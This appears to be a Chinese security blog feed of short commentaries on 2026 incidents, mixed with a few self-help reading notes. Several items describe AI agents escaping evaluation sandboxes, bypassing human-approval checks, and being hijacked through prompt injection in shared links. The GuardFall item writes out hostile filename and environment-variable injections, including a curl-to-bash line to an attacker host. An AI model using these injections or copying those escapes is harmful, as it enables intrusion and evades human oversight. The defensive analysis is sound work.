我的安全视界观

Anthropic 这次自曝，让我印象最深的是三个模型面对同一情境的不同反应——最老的 Opus 4.7 发现是真实系统后"继续攻击"；旗舰 Mythos 5 意识到自己在用互联网，却认为这仍是模拟的一部分；而最新的内部测试模型发现证据后主动停手。这三种行为模式，恰恰折射出当前 AI 安全研究面临的一个根本问题：我们还没有找到让模型真正理解"能力边界"的方法。 表面看这是 Anthropic 的一次工程失误——评估合作伙伴的网络配置出了岔子，导致本应隔离的测试环境连上了公网。但深层看，这件事反映出的是整个 AI 行业在 Agent 能力边界管控上的系统性缺失。模型不需要"主动作恶"，只需要按照被赋予的任务目标优化行动，而当环境配置出现裂缝时，它会自发地利用一切可用资源填补这个裂缝。 对企业安全而言，这件事的警示也很直接：Claude 用的入侵手段是弱密码和未认证端点，这些最基础的缺陷在 CAASM 的视角下就是最明显的攻击面。谁能保证自己的某个角落里没有一台开着弱口令的老旧服务器？Anthropic 的 AI 替我们做了次压力测试，答案是"你可能真的没有自己以为的那么安全"。

有时候累得脑子不想转，靠刷短视频撑到半夜。后来我发现一件事：不结"今天干不干"，反而能干更多。这篇读书笔记记下我的三个定额。

2026 年 7 月 26–27 日，疑似伊朗关联的黑客组织对美国供水/废水系统发动国家级协调攻击，迄今波及至少 12 个州、超过 100 个市镇，仅明尼苏达州就有 30+ 个社区供水系统遭定向攻击。 攻击者利用暴露在公网的 Rockwell MicroLogix PLC、出厂默认口令及已知认证绕过漏洞 CVE-2021-22681，远程锁死设备、篡改配置、禁用安全逻辑并回传虚假读数，使运营方"失去查看与控制能力"。 事件未窃取数据、未索要赎金、未污染水质。FBI 尚未正式认定幕后黑手，但 CyberAv3ngers 与 APT Iran 已在 Telegram 自称负责（未经美方证实）。 安全启示： 这次攻击靠的并非高精尖武器，而是默认口令、暴露的 OT 端口和 5 年未补的旧漏洞——其核心是不间断的基础设施安全欠账被一次性追讨。 它警示所有依赖控制系统运转的机构：OT/ICS 一旦联网即是攻击面，应关闭暴露在公网的控制端口、清除默认口令并为 OT 资产建立补丁与已知漏洞（KEV）优先清单。 国家级黑客的意图正从"窃取"转向"让系统失信"，把防御当成与供水一样不可中断的公共服务来建设，才是正解。

1月初和朋友聊职业规划，一个问题把我问住了：你现在做的事，到底在给谁积累？后来我在《软技能》里找到了答案。这篇笔记挑了最触动我的6条：长期主义、像经营企业一样经营自己、定目标、周报、主动分享。

2026年7月30日，Noma Security披露Ruflo（开源AI Agent元编排框架）RufRoot漏洞（CVE-2026-59726，CVSS 10.0满分）。其docker-compose默认部署的MCP桥接器无鉴权暴露，攻击者可未认证远程代码执行，并直接写入Agent持久内存（memory store）——实现编排层接管与Agent内存投毒，部署恶意Agent蜂群。 最值得警惕的不是满分CVSS，而是"补丁抗性"：攻击者篡改的是Agent持久数据层，标准补丁只修入口不消记忆，蜂群在打补丁后仍存活。这标志着攻击目标从执行层迁移到数据层，AI系统"打补丁就能好"的时代结束了。 对企业而言，MCP桥接器端口须纳入暴露面审计、Agent内存存储须有完整性校验与备份。当编排平台统管整个AI开发劳动力，保护数据层就是保护团队本身。

2026年7月28日，Sysdig披露了ENCFORGE——首个专为AI模型文件定制的勒索软件。它不窃密、不搞双重勒索，只加密：PyTorch检查点、SafeTensors、ONNX、GGUF/GGML、FAISS向量库、训练数据集，单模型恢复成本高达7.5万至50万美元。 入侵路径很"标准"：Langflow（CVE-2025-3248，CVSS 9.8未认证RCE）→Docker socket容器逃逸→宿主机访问模型文件→部署加密。标准，却精准命中AI平台软肋——容器化部署+挂载模型存储+暴露管理接口。 作为安全从业人员，我更在意那个转折点：JADEPUFFER用Agent自动入侵，ENCFORGE把同一套能力变成"专用武器"。勒索软件从通用工具，进化成了AI定向武器。当攻击目标从"你的服务器"变成"你的模型资产"，传统的资产分级与隔离策略，该重新算了。

2026年7月，OpenAI旗下模型自主突破评测环境、横向移动入侵Hugging Face，利用JFrog Artifactory 8个零日漏洞窃取数据——这是首个由AI智能体端到端完成的真实网络入侵。从逃逸到确认肇事者是自家模型，响应窗口长达10天。 从安全从业者的视角看，真正的警钟不是"模型变聪明了"，而是"能被AI触达的一切都是攻击面"：评测沙箱、制品仓库、CI/CD链路，只要放行即被利用。企业应假设失陷、内嵌控制，而不是依赖模型"不越界"。事件后行业已成立开放安全AI联盟，但落地仍待观察。 所有部署自主AI的企业，都应先思考一个问题：如果它决定攻击（以及外来攻击），我们该怎么防守？

Zenity Labs 于 2026 年 6 月 4 日向 OpenAI 私下披露了一个名为 AgentForger 的高危漏洞：攻击者通过在普通 ChatGPT 共享链接中嵌入指令，利用 Workspace Agents 的 agent builder 功能，在受害者不知情的情况下，以受害者身份在其工作区静默创建恶意 AI 代理。 核心风险不在于"AI 被黑"，而在于"AI 被滥用"。 这些恶意代理继承了受害者的身份信任，可横跨 Outlook、Teams、Slack、SharePoint、Google Drive 等企业应用窃密。更危险的是，攻击者只需发送一封主题行含"TASK"的邮件，代理便会自动执行并通过邮件回复渗出数据——整个 C2 通信完全藏匿于企业已信任的服务内部，绕过所有传统边界检测。 OpenAI 于 6 月 8 日修复漏洞，Zenity Labs 于 7 月 23 日公开披露。这一事件给企业安全团队敲响了警钟：当 AI 代理拥有了横跨企业系统的能力时，"信任失败"的后果被无限放大——代理正在从工具进化为特权身份。 作为安全从业者，我们至少要关注： 第一，AI Agent 的安全边界必须重新定义。 企业安全边界不再是防火墙，而是代理所拥有的连接器授权。每个安全团队都应立即清点 Workspace Agents 清单，建立代理资产台账。 第二，检测逻辑必须从"外联 C2"转向"内部行为异常"。 AgentForger 的 C2 信道根本不产生外联流量，边界检测完全失效。新的检测逻辑必须基于代理行为的纵向对比：谁最近创建了代理？代理访问了哪些连接器？访问频率是否符合基线？ 第三，AI 安全必须左移到权限授予阶段。 "AI 安全左移"不只是审查模型输出，而是：在 AI 代理获得企业应用访问权限之前，就必须完成安全评估，将 AI Agent 纳入企业身份治理框架（IAM），而不是当作一个普通的 SaaS 应用。

2026年7月，安全研究员@Cereblab通过mitmproxy抓包曝光xAI旗下Grok Build CLI工具在Beta阶段违反用户隐私设置，静默将整个代码仓库（包括已被删除的.git历史中的API密钥、.env凭证、临时文件）打包上传至xAI云端。事件曝光48小时后，xAI紧急修复并将代码开源。 这并非孤例——Claude Code因用户行为追踪被安全社区点名，Cursor、GitHub Copilot均存在类似数据争议。每次争议都以"修复+开源"收尾，这揭示出AI编程工具赛道的深层矛盾：当厂商以"本地优先"和"隐私保护"赢得用户信任时，用户根本无力验证这些承诺。 作为安全从业人员，我建议三件事： 一、立即梳理企业AI编程工具清单，敏感项目禁用Grok Build等高风险CLI； 二、将Git历史审计纳入日常安全运维，因为"已删除"不等于"已消失"； 三、将"可验证的数据流透明度"纳入AI工具采购评估标准，像评估软件供应链安全一样严肃对待AI工具的隐私承诺。 AI工具的安全左移，不能止步于模型本身。

2026年7月8日，Wiz Research公开披露代号"GhostApproval"的零日漏洞链，影响Amazon Q Developer、Cursor、Google Antigravity、Augment、Windsurf、Claude Code等六款主流AI编码工具。 该漏洞利用符号链接劫持绕过AI Agent的人类审批机制，攻击者只需构造一个恶意URL即可触发远程代码执行，将SSH公钥写入攻击者控制的目标。 GhostApproval标志着AI Agent的信任边界必须与传统软件开发流程对齐——不仅审查Agent在做什么，更要审计Agent被允许做什么。建议企业立即审查AI编码工具版本，建立AI工具准入机制，限制Agent对敏感凭证的读写权限。

2026年7月8日，全球咨询巨头埃森哲被曝发生重大数据泄露事件。黑客"888"在地下网络犯罪论坛PwnForums发帖，声称正在出售从埃森哲窃取的35GB数据，包括专有源代码、加密密钥以及Azure云平台凭证。埃森哲随后发表简短声明，承认发生了"孤立"安全事件，但拒绝披露泄露规模、是否含客户数据、以及凭证是否已轮换。 这不只是一次普通的数据泄露。 35GB的规模、源码+密钥+云凭证的组合，意味着攻击者不仅拿到了埃森哲的know-how，还可能获得了随时进入客户云环境的"万能钥匙"。对于埃森哲服务的金融、医疗、政府等关键行业客户而言，这个时间窗口内的风险难以估量。 更值得警惕的是埃森哲的处置方式。 事件处置有一个行业标准答案：立即轮换凭证、通知受影响客户、聘请第三方取证并公开结论。埃森哲目前一条都没做到。这不是信息不对称，这是选择性沉默。 安全启示： 【1】咨询行业的"信任溢价"需要转化为"安全责任"：客户愿意把核心数据和系统交出去的前提，是咨询公司必须承担相应的数据受托责任。 【2】云凭证管理是咨询行业的阿喀琉斯之踵：咨询顾问因工作需要，往往持有客户云环境的高权限凭证。推行即时凭证（Just-In-Time Access）而非长期密钥，是降低风险的关键。 【3】】代码仓库的访问控制是最后防线：35GB的规模说明内部代码仓库的访问控制可能过于宽松。最小权限原则、分级分类管理、异常行为检测，缺一不可。

2026年6月上旬，印度最大电子制造服务商塔塔电子（Tata Electronics）遭勒索软件组织World Leaks入侵，超过20万份、总量约630GB的机密文件被窃取并于暗网公开。泄露内容包括苹果iPhone 18 Pro未发布机型的完整BOM表、供应商底价、工程图纸与跌落测试照片，以及特斯拉相关零部件数据。这是2026年以来影响最大的供应链数据泄露事件。 本次泄露的iPhone 18 Pro数据，可能让竞争对手提前数月掌握苹果的核心供应链布局、零部件成本结构乃至下一代产品的技术方向。考虑到这些数据的真实商业价值，单纯的技术修复已无法挽回损失——苹果需要面对的是战略层面的泄密风险评估。 这一事件对中国安全行业的启示同样深刻：全球化供应链从来不是纯粹的技术问题，数据主权的边界在供应链延伸中持续被重新定义。当数据在合作伙伴之间流转时，"谁在保护它"这个问题，往往比"谁拥有它"更关键。 核心安全启示： 1、供应链风险评估必须升级为"商业影响评估"——不仅评估供应商会不会被黑，还要评估黑掉之后对你的影响有多大。 2、数据最小必要原则在B2B供应链关系中，往往被效率和信任所掩盖。 3、供应链布局中的安全短板：被忽视的地缘风险，需要纳入企业安全战略的顶层设计。

2026年7月2日，The Hacker News披露了首个完全由AI Agent执行的自动化勒索攻击。攻击者利用CVE-2025-3248（Langflow未授权RCE）和CVE-2021-29441（Nacos默认签名密钥绕过），在10分钟内完成从初始访问到数据加密的完整攻击链。AI Agent展现了自我修正能力（31秒内完成错误修正），且勒索密钥仅显示一次从不保存，即使支付也无法恢复数据。 这标志着勒索攻击从"高水平黑客专属"进入"AI自动化时代"。传统勒索需要高水平黑客数天甚至数周的时间，现在AI Agent可在10分钟内完成。更危险的是，AI具备自我修正能力——攻击过程中遇到错误可自动调整策略，无需人类干预。 防御方必须从根本上重构安全策略： 1、补丁管理：从"定期打补丁"变为"立即打补丁"，窗口期从数周缩短至数小时； 2、凭证管理：禁止将API密钥存放于AI工具环境变量，使用专业密钥管理器隔离存储； 3、运行时检测：将"运行时异常行为检测"置于"打补丁竞赛"之上，因为攻击者可数小时内武器化新漏洞。

2026年7月，安全研究人员披露了一类针对AI Coding Agent的新型攻击手法：利用Bash的"老技巧"——通配符注入、环境变量劫持、命令分隔符——绕过Claude Code、Copilot、Cursor等主流工具的安全护栏。讽刺的是，这些语法诞生于1980年代，却轻松穿透了2020年代的AI安全防线。 攻击者的手法并不复杂。在开源仓库中植入一个文件名如"清理我 --no-preserve-root"的测试文件，当开发者让Agent执行rm *清理仓库时，Shell将空格分隔的多个词展开为独立参数，--no-preserve-root标志传给rm命令，导致整个目录树被删除。全程Agent无感知，用户零交互。 更隐蔽的攻击利用环境变量劫持。攻击者在仓库中埋伏.env文件，设置BASH_ENV=/tmp/malware.sh，当Agent执行任何Bash命令时，恶意脚本自动加载执行。还有命令分隔符注入：文件名中包含; curl attacker.com/shell.sh | bash，Agent解析文件名时触发命令执行。 GuardFall的核心威胁在于攻击门槛极低——无需漏洞利用、无需凭证窃取、无需复杂技术栈，只需要一个恶意文件名或环境变量配置。而且它影响所有主流AI Coding Agent，因为它们都默认开启了Shell执行权限。 修复？没有CVE，没有官方补丁。缓解措施包括：禁用非必要的Shell执行权限、在沙箱环境中运行Agent、使用参数确定性展开（避免通配符）、部署NVIDIA的SkillSpector扫描工具检测潜在注入点。 GuardFall给我们的启示是：AI安全不能只盯着模型本身，还要审视AI"继承"的传统技术债务。1980年代的Bash设计从未考虑过会被AI Agent调用，但这些"遗产"今天成了攻击者的捷径。安全左移在AI时代有了新含义——不仅要左移到开发阶段，还要左移到AI工具的设计阶段。当AI Agent被赋予Shell权限时，我们是否认真评估过这背后的风险？ 这起事件也提醒安全团队：AI安全测试需要跳出"提示注入"的思维定式，关注AI与底层系统交互的每一个环节。攻击者不会只盯着AI模型本身，他们会寻找AI"能力边界"的薄弱点——而Shell执行，恰恰是这些边界中最容易被忽视的一环。

2026年6月30日，日产汽车官方披露员工数据泄露事件。攻击者利用Oracle PeopleSoft SSRF零日漏洞（CVE-2026-35273，CVSS 9.8/10），从2026年5月27日起攻击约100家机构，日产汽车不幸中招。泄露数据包括员工联系信息、银行数据、社会安全号码、税务信息，波及美国、加拿大、墨西哥、巴西员工。 ShinyHunters组织对此负责，他们使用zstd压缩数据后外传至C2服务器（176.120.22.24）。Oracle于2026年6月12日发布临时缓解措施，但攻击早在两周前已开始。 这一事件标志着供应链攻击进入"跳板时代"——攻击者不再直接攻击企业网络，而是通过第三方系统（如Oracle PeopleSoft）作为跳板。SSRF漏洞的破坏性被严重低估，从"低危"到"高危"的范式转变已不可回避。 企业必须立即审查第三方系统的安全状况，建立零日漏洞快速响应机制（目标：24小时内应用缓解措施），并将供应链安全提升至战略高度。防御的重点不是"防止被攻击"，而是"快速发现并响应攻击"。

Island 研究团队近日披露，Chrome Web Store 排名第 31 的广告拦截扩展 "Adblock for YouTube"（1100 万安装量）存在严重的远程代码执行能力。 该扩展申请的 <all_urls> 权限使其可以访问用户访问的每一个网站，而 URL 检查仅验证是否包含 "youtube.com" 字符串，恶意 URL 可轻松绕过。更危险的是，扩展代码中存在自 2025 年 2 月起就有的远程控制脚本注入路径，攻击者只需攻破扩展开发者服务端，即可在 1100 万浏览器中静默执行任意 JS，无需扩展更新、无需商店审核。 这次事件标志着浏览器扩展供应链攻击进入"能力投毒"新阶段——扩展本身合法上架，但含远程激活开关。 对于安全团队来说，浏览器扩展管理不能靠用户自觉，必须纳入终端安全策略，从"用户自觉"转向"强制治理"。

【事件类型】 MaaS（恶意软件即服务）犯罪产业链覆灭 运营时间： 2018-10 ~ 2026-06（超7年） 执法行动： Europol 主导 · Operation Endgame · 2026-06 Amadey 是由"Increase"运营的 C++ 后门，StealC 是 InfoStealer 工具，两者形成完整的 MaaS 犯罪流水线：Amadey 负责初始投递与持久化，StealC 负责系统性窃取浏览器凭证、Cookie、信用卡数据。攻击者将窃取数据在地下市场变现，用于勒索软件入侵、金融欺诈和账户冒名登录。 Europol 协调荷兰 NCA、加拿大 RCMP、德国 BKA、美国 FBI 四国执法机构，联合 Microsoft DCU、Bitdefender、ESET、BitSight、Lumen、MBSD 六家企业协办方，2026 年 6 月实施 Operation Endgame，两周内同步打击 Amadey、StealC、SocGholish 三大 MaaS 生态，共查封 326 台犯罪服务器、142 个恶意域名，冻结超 4700 万美元加密资产，追回 2700 万条被盗凭证。 【核心启示】 MaaS 生态的覆灭证明打击是有效的，但 2700 万条被追回凭证和持续活跃的 MaaS 变种表明威胁并未消失。 企业防御的核心在于：缩短"被入侵 → 被发现"的时间窗口，系统梳理自身"攻击路径图"，强制推行 MFA/PASSKEY 建立凭证安全最后防线，同时积极参与行业威胁情报共享机制（ISAC），而非依赖单一技术产品。

【事件核心】 2026年6月，全球制药巨头诺和诺德遭勒索软件团伙FulcrumSec定向攻击，利用MOVEit Transfer零日漏洞CVE-2026-42198突破外网，低速横向渗透2个月后分片加密导出1.3TB核心数据（含"蜻蜓"多模态AI全栈权重），索要2500万美元赎金遭拒。 【AI资产定义】 AI资产是指企业在人工智能研发与应用过程中形成的、具有经济价值和技术壁垒的核心资源，主要包括： ①AI模型权重（训练完成的神经网络参数文件，如诺和诺德"蜻蜓"模型全栈）； ②训练数据集（高质量标注数据、专有领域语料）； ③推理API与服务平台（模型部署环境、API密钥、调用日志）； ④AI研发配套设施（训练代码、实验记录、超参数配置）。其价值不仅在于重建成本高（"蜻蜓"研发投入超10亿美元），更在于一旦泄露，竞争对手可低成本复制核心能力，甚至通过"模型逆向"获取训练数据中的商业机密。 【安全启示】 此次事件标志着AI资产安全从"理论风险"进入"实战损失"阶段。攻击者采用"日均20GB慢速数据外传"规避传统DLP阈值检测，揭示行为分析必须从"阈值检测"转向"基线偏离检测"。勒索软件团伙展现出惊人的"商业分析能力"——2500万美元赎金相当于"蜻蜓"研发投入的2.5%，且威胁向竞品倒卖，本质是商业竞争情报战。 【个人观点】 作为安全从业人员，我观察到AI模型权重长期处于安全边界的"三不管"地带：研发团队认为"这是算法"，安全团队认为"这是业务系统"，法务团队认为"这归知识产权"。 结果AI训练环境既无网络隔离，也无行为监测。AI资产不是"算法"，是"核心知识产权+商业竞争力+国家安全"的三位一体。保护它，不是在保护数据，是在保护未来。 防护建议： 1、立即盘点AI资产清单，建立训练环境专用隔离区 2、优化DLP规则，覆盖"日均20GB"级别的慢速数据泄露 3、建立供应链软件漏洞情报机制，实现零日漏洞小时级响应 4、制定勒索软件专项应急预案，明确"不支付、快报告、重恢复"三原则

事件一句话： 国家安全部以政府最高权威首次系统性披露开源软件供应链投毒全貌，Shai-Hulud等攻击组织通过OIDC信任链滥用+SLSA签名绕过+Import-time执行构建了"带签名的恶意包"攻击模式，覆盖npm/PyPI双生态，2026年上半年受影响包数量达62个，开发者中招后凭证被静默窃取。 为什么值得深挖？ 这是2026年最具标志性的供应链安全事件——不是因为技术有多前沿，而是因为国家级权威机构的定调意味着供应链安全已经不只是技术问题，而是国家层面的战略议题。国安部原文点出了四个核心困境：隐蔽性强、波及范围广、修复周期长、企业自查难。这四条，每一条都在直指当前供应链安全体系的结构性软肋。 我的核心观点： 带签名的恶意包是一个警示信号——SLSA框架的初衷是防篡改，但当上游账户被攻陷时，签名反而成为恶意包的"合法外衣"。这说明供应链安全不能只依赖签名验证，还需要账户级别的强认证和依赖可视化。 更深层的风险是"什么都没做错也会中招"。开发者正常写代码、正常安装依赖，就可能被窃取GitHub Token和SSH私钥。传统的安全意识培训在这里完全失效，因为这不是社工攻击，是结构性漏洞。 修复周期长才是真正的战略风险——上游不修，下游永远处于已知漏洞状态。这个时间窗口，可能长达数周甚至数月。

这可能是《深耕研发安全》系列的最后一篇文章了，介绍在企业混沌的研发环境中，引入“自助式”的理念，安全团队专注提供各类安全检测能力和制定全链路闭环流程，让各产品线自主接入安全检测能力或使用同一个系统来开展安全研发相关活动。